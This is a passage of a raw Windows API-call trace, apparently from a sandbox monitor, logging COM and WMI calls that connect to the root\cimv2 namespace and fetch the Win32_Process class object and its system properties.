[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f77d0) returned 0x0 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0087.086] WbemLocator:IUnknown:AddRef (This=0x11f77d0) returned 0x3 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0087.086] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0087.086] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0087.086] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0087.087] WbemLocator:IUnknown:Release (This=0x11f77d0) returned 0x2 [0087.087] WbemLocator:IUnknown:Release (This=0x11f77d0) returned 0x1 [0087.087] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0087.087] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0087.087] WbemLocator:IUnknown:QueryInterface (in: This=0x11f77d0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f77d0) returned 0x0 [0087.087] WbemLocator:IUnknown:AddRef (This=0x11f77d0) returned 0x3 [0087.087] WbemLocator:IUnknown:Release (This=0x11f77d0) returned 0x2 [0087.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0087.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0087.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.087] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f77f0) returned 0x0 [0087.087] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f77f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed1f10) returned 0x0 [0087.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1f10, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dfa20) returned 0x0 [0087.233] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfa20, pProxy=0x1bed1f10, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0087.233] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x1 [0087.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1f10, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dfa60) returned 0x0 [0087.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1f10, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dfa20) returned 0x0 [0087.233] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfa20, pProxy=0x1bed1f10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0087.233] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x2 [0087.233] WbemLocator:IUnknown:Release (This=0x11dfa60) returned 0x1 [0087.233] CoTaskMemFree (pv=0x11dd420) [0087.234] WbemLocator:IUnknown:AddRef (This=0x1bed1f10) returned 0x2 [0087.234] WbemLocator:IUnknown:Release (This=0x11f77f0) returned 0x0 [0087.234] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0087.235] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0087.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1f10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dfa30) returned 0x0 [0087.235] WbemLocator:IRpcOptions:Query (in: This=0x11dfa30, pPrx=0x11f7a30, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0087.235] WbemLocator:IUnknown:Release (This=0x11dfa30) returned 0x2 [0087.235] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0087.235] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0087.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed1f10, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed1f10) returned 0x0 [0087.235] WbemLocator:IUnknown:Release (This=0x1bed1f10) returned 0x2 [0087.235] SysStringLen (param_1=0x0) returned 0x0 [0087.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0087.235] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0087.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0087.236] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0087.236] IWbemServices:GetObject (in: This=0x1bed1f10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef5f40, ppCallResult=0x0) returned 0x0 [0087.242] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0087.242] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0087.242] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0087.242] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0087.242] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0087.242] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0087.242] IUnknown:Release (This=0x111f638) returned 0x1 [0087.246] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f77f0) returned 0x0 [0087.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f77f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0087.246] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f77f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3c600) returned 0x0 [0087.246] WbemDefPath:IUnknown:Release (This=0x11f77f0) returned 0x0 [0087.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3c600) returned 0x0 [0087.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0087.247] WbemDefPath:IUnknown:AddRef (This=0x1bf3c600) returned 0x3 [0087.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0087.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0087.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f7af0) returned 0x0 [0087.247] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7af0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.247] WbemDefPath:IUnknown:Release (This=0x11f7af0) returned 0x3 [0087.247] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0087.247] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0087.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0087.247] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x2 [0087.247] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x1 [0087.248] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0087.248] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0087.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3c600) returned 0x0 [0087.248] WbemDefPath:IUnknown:AddRef (This=0x1bf3c600) returned 0x3 [0087.248] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x2 [0087.248] WbemDefPath:IWbemPath:SetText (This=0x1bf3c600, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.248] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.248] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0087.248] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0087.249] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.249] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0087.249] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0087.249] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.249] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0087.249] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0087.250] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.250] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.250] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.250] IUnknown:Release (This=0x111f638) returned 0x1 [0087.252] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f8650) returned 0x0 [0087.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8650, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.252] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8650, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c6c0) returned 0x0 [0087.252] WbemDefPath:IUnknown:Release (This=0x11f8650) returned 0x0 [0087.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c6c0) returned 0x0 [0087.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.253] WbemDefPath:IUnknown:AddRef (This=0x1bf3c6c0) returned 0x3 [0087.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8690) returned 0x0 [0087.253] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8690, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.253] WbemDefPath:IUnknown:Release (This=0x11f8690) returned 0x3 [0087.253] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.253] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.254] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x2 [0087.254] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x1 [0087.254] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.254] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c6c0) returned 0x0 [0087.254] WbemDefPath:IUnknown:AddRef (This=0x1bf3c6c0) returned 0x3 [0087.254] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x2 [0087.254] WbemDefPath:IWbemPath:SetText (This=0x1bf3c6c0, uMode=0x4, pszPath="") returned 0x0 [0087.254] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.254] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.254] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.254] IUnknown:Release (This=0x111f638) returned 0x1 [0087.256] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f8650) returned 0x0 [0087.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8650, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 